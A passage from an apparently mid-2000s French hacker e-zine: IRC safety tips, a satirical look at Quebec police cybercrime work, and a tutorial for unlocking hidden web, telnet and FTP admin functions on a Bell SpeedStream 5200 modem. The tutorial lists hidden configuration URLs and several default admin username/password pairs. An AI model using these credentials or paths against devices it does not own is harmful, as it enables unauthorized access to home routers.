      +----+  Connexion sécure  +----+  Connexion non-sécuritaire  +----+
      | C1 |<------------------>| S1 |<--------------------------->| C2 |
      +----+                    +----+             I1              +----+

      Il serait maintenant possible d'intercepter, en  I1,  le  message  en  provenance de C1 
      destiné à C2, puisque ce dernier utilise une connexion non protégé.

      Les serveurs supportant les deux mode de connexion n'offre pas une  protection complète 
      de vos messages privé. Et les serveur exclusivement  'Secure IRC'  ne  vous  offre  pas 
      nécessairement une protection absolue:  Si  les  serveurs d'un réseaux ne sont pas liée 
      ensemble par des connexion  sécuritaires,  votre  message  va  un  jour ou l'autre être 
      exposé.

      De façon général, on peut dire que les connexion sécuritaire avec les  serveurs ne sont 
      utile que sur les réseaux publique, suceptible d'être  espionné.  Petite  note pour les 
      clients qui ne supporte pas le  'Secure IRC',  il  est  possible  d'utilisé des tunnels 
      sécuritaire. Il s'agit d'un programme que vous installez sur votre ordinateur, qui joue 
      le rôle d'intermédiaire entre vous et le serveur. Il suffit de se connecté  localement, 
      avec votre client, sur le programme en question et ce dernier  établie  une   connexion 
      sécuritaire avec le serveur.

      stunnel - encrypt arbitrary TCP connections inside SSL
            http://www.stunnel.org/

   3.8 Règles de base

      - Activez  le  mode personnel invisible (+i). Il sera plus difficile de vous   trouver. 
        Faite simplement /mode votre_nick +i. Vous ne serai pas  complètement  invisible, les 
        utilisateurs sur le même salon que vous  pourrons  vous v oir. Vous serez, parcontre, 
        invisible aux utilisateurs  qui  utilisent  les  commande /who et /names. La commande 
        /whois  va  cependant  donner  vos  informations et les salons sur lesquels vous vous
        trouvez.
      - Ne donner aucune informations personnelles: nom, numero de téléphone, adresse  civil, 
        etc.
      - Utilisez un nick de nature general, qui ne donne pas d'information sur l'age que vous 
        pourriez avoir ni votre sexe.
      - Ne téléchargez aucuns fichiers sauf si vous faite entièrement confiance  au  "sender" 
        et que vous savez qu'est-ce que le fichier contien.
      - N'allez pas sur les sites qui sont publiés sur les salon par  des  personnes  ou  des 
        bots. Ils peuvent contenir du code malveillant qui peut  être  téléchargé  sur  votre 
        ordinateur.
      - Ne taper aucune commande dont vous ne connaissez pas  son  utilité  et  le   résultat 
        escompté. Ne jamais faire ce qu'un utilisateur vous demande de faire si ce qu'il vous 
        demande semble étrange ou que vous ne connaissez pas le résultat.
      - N'activé  pas  l'option  'Auto join on invite'.  Certains  utilisateurs  malveillants 
        pourraient vous faire joindre plusieurs salons lourdement  fréquenté  et ainsi forcer 
        le serveur à vous déconnecter pour  ne  pas  vous  flooder. Vous devez comprendre que 
        lorsque l'on join un salon, le client envoie la commande NAMES au serveur pour que ce 
        dernier vous envoie la  liste des utilisateurs qui sont présent sur le salon que vous 
        venez de joindre. Plus il y a d'utilisateurs sur le salon, plus la liste est  longue. 
        De plus, certains clients, en plus d'envoyer la commande NAMES,  envoient la commande 
        WHO pour obtenir les hostnames des clients présent sur le salon. Le serveur doit donc 
        vous envoyer une quantité d'informations importantes, et la plupars des servers, pour 
        vous protéger, vont vous déconnecter si il y a trop d'informations à envoyer.
      - N'activé  pas  l'option  'Whois  on query'. Quelqu'un pourrais simplement  lancer  un 
        simple flood de privmsg avec un botnet suffisament populeux  pour que le serveur vous 
        déconnect pour 'Excess Flood'.

4. Conclusion

   Voilà,  c'est  ce  qui termine mon exposé sur la sécurité sous IRC. J'espère que certaines 
   des infos seront utiles pour les néophites ou pour les freaks de la sécurité.


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |              Http://www.restobooking.com                     \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Par ce que tout le monde mange !!                                     ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[14]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de cops            ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: wannabe a cops super star, big gun fat cars...            ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Wyzeman   ]=\:\ _//     
                                                  \__\________________________/__/ 




L'idée de faire un article sur les méthodes, conventions, et  l'organisation  d'une   brigade 
policière dédié à la sécurité informatique ne nous serait surement pas  venu  à  l'esprit  si 
nous n'avions pas été mis au courant du fait que des conférences  donnée  par  notre  corp de 
police provincial (la Sureté du Québec, sympatiquement appellé SQ) traitais des méthodes, des 
conventions et de l'organisation  des  goupes  de  hacker  en  générale  et  de  mindkind  en 
particulier. Une parti de la conférence  portant le nom de "dissectation du groupe Mindkind". 
Livrant à un public amateur  l'image  que  Mindkind  est  un groupe organiser (roche, papier, 
sciseaux) disposant de  multitude  de  moyen de communication (ma soeur aussi chat sur irc et 
msn , elle  a  meme  un  cellulaire  aussi, oui oui), d'une diversiter de talent (la plus par 
d'entre  nous  sont incapable de se faire à manger) et d'une  éducation élevé  (du secondaire 
2  au  doctorat)  ainsi  que  d'une bonne  source de revenu (le porn). He ben, attention cher 
citoyen, Mindkind considère qu'il est important de vous démontrer que le SCRS  la  GRC  et la 
SQ, sont des groupes organisé (directeur,sous directeur, grade,  conventions, education, etc) 
disposant de multitude de moyen de communication  (frequence  réserver mes amis), ainsi d'une 
éducation élevé (y'on meme leur  propre  école  et programme de cegep), sans compter bien sur 
une bonne source de revenu (vosimpots, taxe, amende..). Pour ce qui est de la  diversité  des 
talents, bien disont  simplement qu'ils ont une DIVISION informatique. 


	Nous nous sommes donc permis dutilisez les mêmes méthodes dinvestigation  extremement 
avancé que la SQ à utilisé contre nous. Autrement dit on est allé lire  leur site web, écouté 
leur conférence, tapez leur lignes, installer des hommes de  pailles  dans tout les postes du 
québec et... bon je délire on a juste lu leur site  web  et  nous  nous  sommes  procuré  des 
comptes rendu de quelque une de leur conférence.  Ce  qui  fait que nous sommes maintenant en 
mesure  de  vous  livrer  des  informations  d'une  signification plus qu'insignifiante. Pour 
emprunter l'expression de "en attendant ben laden";  nous  vous  invitons  à  jetez un regard 
miope sur la sureté du québec. 


1) Raison d'etre
2) organisation
3) la division cybercrime et processus de plainte
4) conclusion


1) Raison d'etre 

"to serve and protect"

sur le site meme on nous fournis les informations suivantes :

	
Maintien de la paix, de l'ordre et de la sécurité publique



« La Sûreté du Québec, police nationale, concourt, sur l'ensemble  du  territoire  québécois, 
au maintien de la paix et de l'ordre public, à la préservation de la  vie,  de la sécurité et 
des droits fondamentaux des personnes ainsi qu'à la  protection  de leurs biens. La Sûreté du 
Québec  soutient  aussi  la  communauté    policière,  coordonne  des  opérations  policières 
d'envergure, contribue à  l'intégrité  des  institutions  étatiques et assure la sécurité des 
réseaux de transport qui relèvent du Québec.»


Vision de la Sûreté du Québec

« Grâce à la mobilisation et à l'expertise de ses membres policiers et civils, la  Sûreté  du 
Québec, en tant qu'organisation  moderne  et  dynamique,  vise  à  répondre  aux  plus hautes 
exigences de qualité et de service dans tous ses champs d'activité.  Afin  de  mieux protéger 
les citoyens, la Sûreté du Québec place, au coeur de son  action  concertée, le respect de la 
loi et des droits fondamentaux des personnes. » 


Les valeurs qui guident les actions et les interventions de la Sûreté du Québec.

Intégrité

Respect

Professionnalisme

Service


La Sûreté du Québec assure l'application de nombreuses lois québécoises, notamment :

le Code de la sécurité routière 
la Loi sur l'assurance automobile 
la Loi sur les loteries, courses et jeux  
la Loi sur les explosifs 
la Loi sur les agences d'investigation ou de sécurité 
la Loi sur les infractions en matière de boissons alcooliques 
la Loi sur les permis d'alcool 
la Loi sur la Société des alcools. 




De même, dans le cadre de ses  compétences,  la  Sûreté  du  Québec  applique  diverses  lois 
fédérales sur le territoire québécois, principalement :

le Code criminel 
la Loi réglementant certaines drogues et autres substances 
la Loi sur les explosifs 
la Loi sur la marine marchande du Canada 
Loi sur les armes à feu. 


bref,  ce  sont  de  brave type qui contribue du mieu de leur compétence a rentre le monde de 
demain beaucoup plus  sécure  et  paranoyaque. Cest gens protège aussi le gouvernement, c'est
donc a eux de jouer contre ceux qui trouble l'ordre public et créer le chaos.



2) organisation 

Pour arrivez à cette tâche la police national dispose d'une impréssionnante organisation  qui 
savêre parfois même être plûtot efficace surtout dans la lutte au crime organiser (Al  capone 
a des clones même au Québec). Comme vous pourrez constatez sur  la  piece  a  conviction  #1. 
l'organigramme de la SQ compte plusieur directeur a la fois  geo  strategique et d'autre par, 
sectoriel (la jdois avouer quon les a un peu copier  pour  creer  la structure organisationel 
de mindkind ;]), 


3) La division Cybercrime et processus de plainte


Notre bonne vieille SQ dispose d'un departement propre relier au crime informatique  (faudre,
copyright, pedophilie, hacking, etc), Cette division traite avant tout les plaintes  relative
a des mefais du monde informatique mais possède aussi un caractère préventif visant à détecté
les dangers relié a l'informatique et l'utilisation d'Internet.  la  pièce  à  conviction  #2 
démontre quel cheminement prend une plainte vers un arrestation ou un rejet de la plainte.



4) Conclusion


Peu importe ce  que  vous  avez prévus faire en fin de semaine, rappellez vous que les forces
de  l'ordre  sont extrement plus organiser et efficace que aucun groupe undergroune ne pourra
jamais  l'être  (à  moin d'un  support  financier  colossal),  alors prennez vos précotion et 
n'oublier  surtout pas qu'ils sont plus fort, plus nombreux, plus organiser et plus riche que 
vous et vos 10 potes réunis. 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |          http://www.mindkind.org                             \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre honnoraire du webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[15]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Unlock speadstream 5200       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: Ginette va me chercher la hache.                          ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Nuclear   ]=\:\ _//     
                                                  \__\________________________/__/ 

  
         _.-+.        ____   __ __  ____    ___   _____  ____     ___   ____  __  _ 
    _.-""     '.     |    \ |  T  T|    \  /   \ |     ||    \   /  _] /    T|  l/ ]
+:""            '.   |  o  )|  |  ||  D  )Y     Y|   __j|  D  ) /  [_ Y  o  ||  ' / 
| \               '. |   _/ |  ~  ||    / |  O  ||  l_  |    / Y    _]|     ||    \
|  \            _.-+ |  |   l___, ||    \ |     ||   _] |    \ |   [_ |  _  ||     Y
|  '.       _.-"   | |  |   |     !|  .  Yl     !|  T   |  .  Y|     T|  |  ||  .  |
J    \  _.-"       L l__j   l____/ l__j\_j \___/ l__j   l__j\_jl_2005_|__j__jl__j\_j
L     +"           J                                               Now more Stylized
 +    |            |  Www.Pyrofreak.Org                               
  \   |          .+   Www.Pyrofreak.Tk
   \  |       .-'                                                     
    \ |    .-'        
     \| .-'           
      +                 
					
								     
         			             (((
					    (o o)
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,ooO--(_)--Ooo--,,.-,.--,.-,.-,.,.,..,.-.-,.|
        Title:        Unlock SpeadStream 5200 ( dont read uncap )
        Author:       NuClEaR 
        Email:        nuclear@pyrofreak.org
        Irc:          #hack.fr && #phreak.fr && #pyrofreak @ undernet
        Website:      Www.PyroFreak.Org
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,.,-.-,.-,.-,.-,.,.,.,-.,-.-,.-,-.-,.,.-.-,.|
      
[ ::: Préface ::: ]





Il  semblerait  bien  que  Bell  ait lâché ses anciens modèles de modems depuis déjà quelques 
temps,  et  qu'il remplacerait ceux-ci par des speadstream de efficient network. Cela est une 
bonne chose   en soit, les premiers 5200 avaient des bugs après quelques jours d?uptime, mais 
quelques patchs  ont  été  distribuées  pour corriger ces quelques bugs. Les 5200, à la base, 
sont des modems avec  des  router  intégrés, dans forwarder et dhcp server. Bell utilise  une 
version entièrement modifiée  du  firmware.  Cette version est semblable à l'originale,  sauf 
qu"elle affiche seulement les  paramètres  de  base  de  l'utilisateur,  soit l'adresse ip du 
modem,  sa  mac  adresse  et  le nom d'usager sympatico. Une autre nouveauté avec ces modems, 
c'est qu'on peut les utiliser en mode Route. Dans ce cas, le modem   se  connecte  au  réseau 
pppoe par lui-même, et l'ordinateur connecté à celui-ci se  voit  attribuer  une  adresse  ip 
locale. C'est le mode par default quand on le reçoit. Je me disais donc  que s'il  pouvait le 
faire pour un ordi, on pourrait sûrement le configurer pour pouvoir connecter  plusieurs ordi 
dessus comme un router ordinaire. Après un peu de recherche, j'ai  découvert  comment activer 
toutes les fonctions du modem dans l'interface web,  de  créer un utilisateur pour pouvoir se 
connecter à celui-ci en telnet, et même en ftp.  On  peut également faire des tests de ligne, 
et avoir plusieurs stats sur la ligne et le réseau.  Ces  modems  supportent  aussi  le  mode 
bridge   (comme  les  autres  modems  adsl  normaux,   qui  nécessitent  un  client pppoe sur 
l'ordinateur voulant accéder à internet). J'ai pu lire que des anciennes versions des 5200 ne 
supportaient pas d?interface web,  vous  pouvez  p-e  toutefois  quand même vous connecter en 
telnet.

|->-=-,-.-  [ ::: Index ::: ] -<-=-,-.-|

1 L?interface Web
    1.1 Connexion à l?interface web
    1.2 Configurer les access.
    1.3 Configurer les pages à afficher.
    1.4 Sécurité du profile.
    1.5 Goto 1.2
    1.6 Access aux pages de configuration
    1.7 D?autres pages de conf moins importantes.

2 Connection à l?interface TELNET/FTP
    2.1 Préparation et configuration de l?adresse locale
    2.2 Créer un profil à utiliser pour connexion telnet/ftp
    2.3 Connexion en telnet
    2.4 Liste des commandes et options disponibles
    2.5 Variable pour d?autres version/model de modem.
    2.6 Si quelque chose tournait mal ?

3 Bye Bye
    3.1 Greetz


 Lets unlock it

1 [ ::: L?interface web ::: ]


Pour  débloquer  l'interface  web,  vous  devez  vous  connecter  à  celui-ci   à   l'adresse 
http://192.168.2.1 à partir de n'importe quel ordinateur sur le même réseau que le modem avec 
une adresse ip de la même classe ( ou une adresse attribuée par  le  serveur  dhcp  du  modem 
activé par default)

1.1 [ ::: Connexion à l?interface web ::: ]

Allez sur cette page: http://192.168.2.1/pfwizardj.cgi?code=EDIT&id=prof0&retain=f

1.2 [ ::: Configurer les access ::: ]

Donc là, vous avez le choix de mettre un mot de passe à l'utilisateur admin ou de le  laisser 
sans password comme par defaut. Cliquez sur next. Laissez coché :Désactiver  complètement  le 
filtrage d'URL, à moins que vous désiriez bloquer le pr0n de votre réseau.

1.3 [ ::: Configurer les pages à afficher ::: ]

Après  avoir  appuyé  sur next, on voit bien ce qui nous intéresse, c?est donc ici la page ou 
l'on peut ajouter toutes les options  à  l'interface web. Cochez  la  petite  case  Tous  les 
éléments et poursuivez avec suivant.

1.4 [ ::: Sécurité du profile ::: ]

Accès à la sécurité du profil, laissez par default Ne pas demander l'identification admin, si 
vous  voulez  le  modifier, faites-le par la suite quand vous aurez terminé de débarrer votre 
5200. Cliquer sur next, et ne mettez pas d?adresse ip dans la case, passez à la page suivante 
avec next, vous pouvez voir que l?assistant a terminé son travail, cliquez sur terminer.


1.5 [ ::: Goto 1.2 ::: ] 

À ce point, vous pouvez aller sur http://192.168.2.1/, mais vous allez vite voir  que  ça  ne 
marche    pas    encore,    il    reste    quelques    étapes!    Retournez    à    l'adresse 
http://192.168.2.1/pfwizardj.cgi?code=EDIT&id=prof1&retain=f et faites exactement  les  mêmes 
setting qu?aux étapes précédentes, sauf que cette fois-ci rendu à  Adresse  IP  constante  du 
profil,  cette  fois-ci,  mettez  l'adresse  ip  de  votre machine avec laquelle  vous tentez 
d'accéder   aux   configurations.   Poursuivez   l'assistant   comme   énoncé lors des étapes 
précédentes. 

1.6 [ ::: Access aux pages de configuration ::: ] 
 
Votre  interface  web  est  maintenant  débarré  et  vous  avez  accès  à  plusieurs sections 
supplémentaires.  Il  manque toujours quelques outils pour pouvoir utiliser votre modem comme 
router, voici les liens directs pour pouvoir configurer chaque service:

»192.168.2.1/dhcpcfg.htm - DHCP
»192.168.2.1/ddnscfg.htm - Dynamic DNS
»192.168.2.1/ipp_config.htm - IP Passthru
»192.168.2.1/updatelocal.htm - Update firmware
»192.168.2.1/ras_config.htm - RAS config
»192.168.2.1/naptcfg.htm - Port forwarding
»192.168.2.1/dmzcfg.htm - DMZ Config
»192.168.2.1/fwcfg.html - Firewall Config
»192.168.2.1/fwwizard.htm - Firewall Config Wizard
»192.168.2.1/natcfg.htm - NAT/NAPT Configuration
»192.168.2.1/hostcfg.html - Host Configuration
»192.168.2.1/upnpcfg.html - UPNP Configuration
»192.168.2.1/ripcfg.html - RIP Configuration
»192.168.2.1/adscfg.htm - FW Attack Detection System
»192.168.2.1/snoozecfg.htm - Firewall Snooze Control
»192.168.2.1/lansrvscfg.htm - Gateway Server Port Config


Tout  a  très  bien  marcher dans mon cas, et les setting du firewall, nat et portforwarding 
semble bien fonctionner. 

1.7 D?autre page accessible: 
»192.168.2.1/pflogin.htm
»192.168.2.1/vcwizardj.cgi?code=HOME
»192.168.2.1/hostcfg.htm
»192.168.2.1/dhcpcfg.htm
»192.168.2.1/user.htm
»192.168.2.1/timecfg.htm
»192.168.2.1/statroute.htm
»192.168.2.1/natcfg.htm
»192.168.2.1/naptcfg.htm
»192.168.2.1/fwcfg.htm
»192.168.2.1/snoozecfg.htm
»192.168.2.1/dmzcfg.htm
»192.168.2.1/fwwizardj.cgi?code=HOME
»192.168.2.1/fwlogshow.htm
»192.168.2.1/adscfg.htm
»192.168.2.1/upnpcfg.htm
»192.168.2.1/rfc2684cfg.htm
»192.168.2.1/brgmode.htm
»192.168.2.1/ripcfg.htm
»192.168.2.1/lansrvscfg.htm
»192.168.2.1/ddnscfg.htm
»192.168.2.1/summary.htm
»192.168.2.1/syslogshow.htm
»192.168.2.1/atmstatsx.htm
»192.168.2.1/dslstatsx.htm
»192.168.2.1/ethstatsx.htm
»192.168.2.1/usbstatsx.htm
»192.168.2.1/routestatsx.htm
»192.168.2.1/reboot.htm


2. [ ::: Telnet et FTP ::: ]

Vous voulez peut-être aller plus loin ? Les  speedstream  5200  ont  par default  un  serveur 
telnet et un ftp pour pouvoir configurer le modem ou bien lui envoyer des datas.  Voici  donc 
la  marche  à  suivre  pour  créer  un  utilisateur pouvant se connecter au telnet/ftp de ces 
modems.

2.1 [ ::: Préparation et configuration de l?adresse locale ::: ]

Pour  accéder  aux ressources telnet du modem, vous devez avoir comme adresse ip 192.168.2.2, 
sinon le port est filtré et la connection est impossible.

2.2 [ ::: Créer un profil à utiliser pour connexion telnet/ftp ::: ] 

Dirigez vous vers: http://192.168.2.1/pfwizardj.cgi?code=EDIT&id=prof1&retain=f Et  entrez un 
mot de passe à l'utilisateur mfadmin, faites les mêmes démarches que tantôt  lors des setting 
pour l'interface web, rendu à Adresse IP constante du profil, vous pouvez entrer l'adresse ip 
de votre machine, et quelques fois ça arrive  que vous puissiez vous connecter au telnet avec 
cette ip sans utiliser 192.168.2.2.

2.3 [ ::: Connexion en telnet ::: ] 

Donc vous pouvez faire: telnet 192.168.2.1 ou ftp 192.168.2.1 à partir de votre os favorit et 
entrez dans l'administration telnet du modem à l'aide du nom d'utilisateur et du mot de passe 
que vous avez spécifier à l'étape 2.2 

2.4: [ ::: Liste des commandes et options disponibles ::: ] 

Voici quelques commandes que j?ai copié à partir d?un site anglais: 
Toutes ces options doivent être précédées de une de ces 3 commandes:

do
clear
show
cfg

Ex: show net iface

flash -- non program flash, suggest not to touch it
cfg stat -- ability to "show" information on device. Includes devices infomation
dhcpc -- shows stats for clients connected via DHCP
arp -- arp table information
buff -- buffer information
iface -- shows interface information, think ifconfig (linux/unix)
stat -- equivelent of netstat
routes -- show route table
ppp -- shows ppp connections, oe01 is USB, oe00 is enet, includes current IP address
ipfw -- very basic firewall
stat -- show stats, such as rejects
log -- shows log, usally blank
dmz -- NOTE THIS: The 192.168.2.2 is in DMZ-- Firewall DMZ is enabled,
rules - show a non-easy-to-read ip table
napt -- Network Application Tunneling?
map -- shows the maping
servers -- blank during testing dsl
stat -- show line stats, including current profile
ber -- shows data rate for channels?
log -- error logs
tones -- test disabled
bins -- table printed out with stars, do not know what exactly it means (sorry)
brg -- show bridge more information
map -- show bridge map table
dhcp -- no entries in database
eth -- show information about ethernet connection
stat -- shows the line stats obviously
dhcp -- no entries in database
usb -- show information about usb connection
stat -- show line stats
dhcp -- no entries
atm stat -- show atm stats
2684
iface -- show stats about the device
2364
iface -- show stats about the device
ads -- show stats on the ads info. See * below
l2xp -- won't go through, exact same but one level deeper
flash
cfg
dhcpc
net
ipfw
napt
dsl
brg
eth
usb
atm
2684
2364
ads
l2xp
upnp
dnsrelay
firmware
sys
upnp -- shows universal network plug n play info
dnsrelay 
stat -- line stats
ber -- ber info again
log -- dsl log again
tones -- disables
bins -- again the star things
firmware -- DO NOT USE THIS, it is a command line upgrade option. Great Danger
sys -- show system info
memory -- show memory usage
versions -- firmware information
cpu -- show cpu usage
uptime -- total uptime in seconds
dma -- not implemented
log -- show system log, what has been done since last update
userlog -- if you enable differnt users (can't in this version of the firmware) 
           log information goes here
À noter que vous devez parfois faire: show le_group la_command ex: show net arp


2.5 [ ::: Variable pour d?autres version/model de modem ::: ] 

Quelques variables pour des anciennes versions des 5200 utilisent comme adresse  ip  10.0.0.1 
et  que vous devez donc modifier votre machine pour vous connecter aux interfaces avec une ip 
de la même classe que le modem.

Pour les access telnet/web/ftp, par default on retrouve des fois les utilisateur/passwd: 
admin/admin
admin1/admin
bcadmin/bcadmin
mfadmin/mfadmin
B1VOTRE_USER_SYMPATICO/VOTRE_PASSWD

2.6 [ ::: Si quelque chose tournait mal ::: ] 

Si jamais quelque chose tournait mal, vous pouvez reseter votre modem en appuyant 4  secondes 
avec  quelque  chose  sur  la petite switch reset à l'endos du modem, et notez bien que cette 
procédure peut marcher  pour  d'autres modems que les 5200, et peut aussi ne pas marcher avec 
quelques 5200, tenez moi à jour de l'utilisation sur d?autres modems.


3.0 [ ::: Bye Bye ::: ]

En espérant que ça ait bien marché pour vous, et si vous trouvez d'autres options/façons plus 
simple, pour  ce  modem ou d'autres, postez nous votre savoir, c'est la seule façon de garder 
le site/zine à jour et de continuer à développer de nouvelles connaissances.

3.1 [ ::: Greetz to ::: ]

Www.dslreports.com               Pour m'avoir donner beaucoup d?info sur le speedstream 5200.
Ma blonde mary@pyrofreak.org     Pour avoir corrigé le document.
Patoff    patoff@pyrofreak.org   Pour avoir rajouté de l'info + un beau ascii et m?avoir 
                                 poussé à faire ce doc.
 
 
  
  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |<freakguy> L'autre jour jme demandais ca dans ma tete     \\_  \_ \   \\_ M  ; . X
 || |<freakguy> si les filtreur de piscine cetais pas des      \_ \   \\_  \_ \ K      
 || |<freakguy> éméteurs du projet mk-ultra dla cia et des       \\_  \_ \   \\_ -  : '
 ||`|<freakguy> illuminati, franc macon, opus dei, gang a binf!! \_ \   \\_  \_ \ 1   
 || |<freakguy> ca fait peur !! pensez y c'est machine la on       \\_  \_ \   \\_ 1  + 
 || |<freakguy> le droit de faire un bruit etrange et puis suffit  \_ \   \\_  \_ \ 1   
 ||'|<freakguy> que votre voisin sachete une piscine pour que vos    \\_  \_ \   \\_  x 
 || |<freakguy> obligation(femme/enfant/chien/chat/votre mere ?) se  \_ \   \\_  \_ \  `
 || |<freakguy> mettre a vous suplier pour en avoir une aussi!!!       \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Santé et parano canada présente...                                    ]=\:\  |
  \__\__________________________________________________________________________________/ 



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[16]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ les bases d'un cheval de troie] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
